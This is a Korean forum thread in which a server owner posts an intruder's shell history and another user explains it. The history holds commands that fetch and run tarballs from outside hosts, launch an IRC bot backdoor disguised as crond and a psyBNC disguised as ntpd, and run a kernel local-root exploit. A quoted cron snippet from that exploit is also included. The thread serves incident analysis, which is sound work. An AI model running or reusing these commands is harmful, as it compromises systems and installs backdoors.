리눅스에서 이 작업들이 뭘 의미하는건지 모르겠네요

lynn_kor의 이미지

도와주세요.

개인 서버가 해킹을 당한듯 싶네요;

계정 아이디 test에 암호 test 잠깐 만들어놓고

지운다는걸 깜빡해서

이렇게 일이 생긴 것 같네요ㅠㅠ

uname -a
passwd
cat /proc/cpuinfo
/sbin/ifconfig | grep inet
cd /var/tmp; wget trifbianca.xhost.ro/botu.tgz; tar xzvf botu.tgz; rm -rf botu.tgz; cd .www; export PATH="."; crond
exit
w
cd /var/tmp
wget trifbianca.xhost.ro/2.6.tgz
tar xzvf 2.6.tgz
rm -rf 2.6.tgz
./2.6
rm -rf 2.6
uname -a
exit
ps aux
exit
cd /var/tmp
wget geocities.com/ciioara/bash.tgz ; tar xzvf bash.tgz ; rm -rf bash.tgz ; cd bash ; chmod +x *
wget trifbianca.xhost.ro/pico.tgz
tar xzvf pico.tgz
rm -rf pico.tgz
ls -as
./pico psybnc.conf
export PATH="." ; ntpd
exit

김정균의 이미지

흠. 일단 3가지 작업을 했네요. 먼저

uname -a
passwd
cat /proc/cpuinfo

passwd 는 왜 했는지 모르겠고, uname 과 cpuinfo 를 이용하여 OS 와 CPU type 을 확인했습니다.

/sbin/ifconfig | grep inet
cd /var/tmp; wget trifbianca.xhost.ro/botu.tgz; tar xzvf botu.tgz; rm -rf botu.tgz; cd .www; export PATH="."; crond
exit

bout.tgz 를 받아서 압축을 풀고, crond 를 띄었네요. crond 는 IRC Bot 인듯 싶습니다.. 백도어로 보통 많이 사용하죠. 특정 호스트들의 6667 번 포트로 연결 시도를 하네요. "string crond" 로 확인해 보실 수 있으며, 해당 파일의 압축을 풀면 소스도 들어 있네요. 열리는 포트는 32817 입니다. netstat -anpt 명령으로 해당 프로세스의 PID 를 찾을 수 있습니다. 사뿐히 죽여 주세요.

wget trifbianca.xhost.ro/2.6.tgz
tar xzvf 2.6.tgz
rm -rf 2.6.tgz
./2.6
rm -rf 2.6
uname -a
exit
ps aux
exit

2.6.tgz 는 커널 2.6 의 local exploit 입니다. 여기서 root shell 을 따내려고 시도하네요.

#/etc/cron.d/core suid_dumpable exploit
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
#%s* * * * *    root     chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d; rm /etc/cron.d/cor*

이런 짓거리를 하는 것 같습니다. :-) 이 경우는 process 가 hidden 이 될 지도 모르겠네요. ps 로 확인을 하는 것으로 보아서는 말이죠.

wget geocities.com/ciioara/bash.tgz ; tar xzvf bash.tgz ; rm -rf bash.tgz ; cd bash ; chmod +x *
wget trifbianca.xhost.ro/pico.tgz
tar xzvf pico.tgz
rm -rf pico.tgz
ls -as
./pico psybnc.conf
export PATH="." ; ntpd
exit

bash.tgz 는 pysBNC 라는 놈인데 ntpd 라는 바이너리 이름으로 빌드를 해 노았습니다. 이게 설정 파일에 있는 값 중에서 overflow 를 발생시킬 수 있는 것 같은데, 이 BoF 를 이용해서 backdoor 를 생성하는 듯 싶습니다. pysBNC 로 검색해 보시면 이에 대한 글들을 볼 수 있네요.

일단, ./2.6 을 실행했을때 root 권한을 획득했다면.. 아마 rootkit 이 설치되었을 수도 있을 듯 싶습니다.

김정균의 이미지

소스 코드가 있기는 한데, 귀찮아서 그냥 strings 로 분석한 것이라.. 이 넘이 한 작업중에 제가 잘못 판단한 것일 수도 있습니다.

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.